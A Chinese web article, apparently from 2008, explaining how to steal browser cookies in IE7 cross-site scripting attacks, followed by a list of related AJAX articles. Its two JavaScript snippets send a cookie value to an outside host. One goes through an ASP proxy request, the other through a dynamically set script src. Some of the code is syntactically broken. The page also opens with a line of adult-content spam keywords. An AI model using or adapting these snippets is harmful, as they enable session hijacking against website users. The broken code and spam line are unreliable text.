欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

ie7下利用ajax跨域盜取cookie的解決辦法

 更新時間:2008年07月09日 22:57:15   作者:  
網(wǎng)上的很多文章提到的利用ajax盜取cookie的代碼經(jīng)我測試不可行。
研究了一下午,第一個難題是ajax跨域提交數(shù)據(jù),可以用web代理來解決,http://192.168.8.108上的a.htm代碼:
<script> 
function getXmlHttpRequest(){ 
       if(window.ActiveXObject){ 
            var ieArr=["Msxml2.XMLHTTP","Microsoft.XMLHTTP"];                 
            for(var i=0;i<ieArr.length;i++) 
                { 
                var xmlhttp= new ActiveXObject(ieArr[i]); 
                } 
                return xmlhttp; 
       } else if(window.XMLHttpRequest){ 
               return new XMLHttpRequest(); 
            }             

    var xmlHttp=getXmlHttpRequest(); 
    xmlHttp.Open("get","http://192.168.8.108/asp/web.asp?url=http://8888.com/2.asp?cookie=mmm",true); 
    xmlHttp.send(null) 

</script> 

其中web.asp是一個asp代理。 

這樣直接訪問http://192.168.8.108/a.htm是可以成功發(fā)送數(shù)據(jù)的。但是在跨站中,假如我們要跨192.168.8.108的站,這樣來講肯定不能讓我們放一個web.asp在上邊的,所以這種辦法不可行。 

另外,其它的ie7.0下跨站想盜取cookie一般都會用到iframe標簽,在沒有研究成功ajax發(fā)送的情況下,經(jīng)過搜索發(fā)現(xiàn)了另一種跨站的思路,不需要用iframe來跨域提交,代碼: 

<script LANGUAGE="Javascript" src="" id="get">  
</script>  
<script LANGUAGE="Javascript">  
<!--  
function get(url)  
    {  
        var obj = document.getElementById("get");  
        obj.src = url;  
        (obj.readStatus == 200)  
        {  
            eval(alert("ok"));  
        }  
    }  
get("http://jb51.net/2.asp?cookie=12345678") 

/*function query()  
    {  
get("http://jb51.net/web/1.img"); //在這里可以寫代碼,像把alert("ok")里的ok換成變量,1.img 中的代碼是var ok="123" 
    }  
//-->  
*/ 

</script> 

至于有其它更好的辦法,在IE7下能直接ajax跨域盜取cookie的歡迎討論 

相關(guān)文章

  • 使用原生ajax處理json字符串的方法

    使用原生ajax處理json字符串的方法

    JSON的全稱是 Javascript Object Notation(javascript對象表示法),是基于javascript對象字面量。這篇文章主要介紹了使用原生ajax處理json字符串的相關(guān)資料,需要的朋友可以參考下
    2016-10-10
  • 基于iframe實現(xiàn)ajax跨域請求 獲取網(wǎng)頁中ajax數(shù)據(jù)

    基于iframe實現(xiàn)ajax跨域請求 獲取網(wǎng)頁中ajax數(shù)據(jù)

    這篇文章主要介紹了基于iframe實現(xiàn)ajax跨域請求,并獲取網(wǎng)頁中ajax數(shù)據(jù),如何利用網(wǎng)頁ajax請求暴露出來的接口去抓取網(wǎng)頁數(shù)據(jù)?需要的朋友可以參考下
    2016-01-01
  • IE9 IE8 ajax跨域問題的快速解決方法

    IE9 IE8 ajax跨域問題的快速解決方法

    下面小編就為大家?guī)硪黄狪E9 IE8 ajax跨域問題的快速解決方法。小編覺得挺不錯的,現(xiàn)在就分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2016-07-07
  • AJAX在Post中文的時候亂碼的解決方法

    AJAX在Post中文的時候亂碼的解決方法

    AJAX在Post中文的時候亂碼的解決方法...
    2007-03-03
  • 解決ajax請求后臺,有時收不到返回值的問題

    解決ajax請求后臺,有時收不到返回值的問題

    今天小編就為大家分享一篇解決ajax請求后臺,有時收不到返回值的問題,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2018-08-08
  • ASP+AJAX+ACCESS數(shù)據(jù)庫實例講解三個步驟分享

    ASP+AJAX+ACCESS數(shù)據(jù)庫實例講解三個步驟分享

    其實說起AJAX的初級應(yīng)用是非常簡單的,通俗的說就是客戶端(javascript)與服務(wù)端(asp或php等)腳本語言的數(shù)據(jù)交互
    2012-07-07
  • ajax實現(xiàn)提交時校驗表單方法

    ajax實現(xiàn)提交時校驗表單方法

    這篇文章主要為大家詳細介紹了ajax實現(xiàn)提交時校驗表單方法,文中示例代碼介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2020-02-02
  • 基于firefox實現(xiàn)ajax圖片上傳

    基于firefox實現(xiàn)ajax圖片上傳

    這篇文章主要介紹了基于firefox實現(xiàn)ajax圖片上傳,大家都知道在FF下使用ajax是件挺困難的事情,今天給大家介紹的是完美解決這個問題的方法,小伙伴可以參考下。
    2015-05-05
  • 淺析JSONP之解決ajax跨域問題

    淺析JSONP之解決ajax跨域問題

    本文主要講解了如何去解決AJAX跨域的問題,從跨域的簡單原理到JONP實現(xiàn)模式詳細的講解整個解決方案,最后利用jQuery可以很方便的實現(xiàn)JSONP來進行跨域訪問。
    2015-09-09
  • Jquery Ajax請求文件下載操作失敗的原因分析及解決辦法

    Jquery Ajax請求文件下載操作失敗的原因分析及解決辦法

    jQuery確實是一個挺好的輕量級的JS框架,能幫助我們快速的開發(fā)JS應(yīng)用,并在一定程度上改變了我們寫JavaScript代碼的習(xí)慣,本文重點給大家介紹Jquery Ajax請求文件下載操作失敗的原因分析及解決辦法,對ajax請求失敗的原因分析感興趣的朋友一起學(xué)習(xí)把
    2015-11-11

最新評論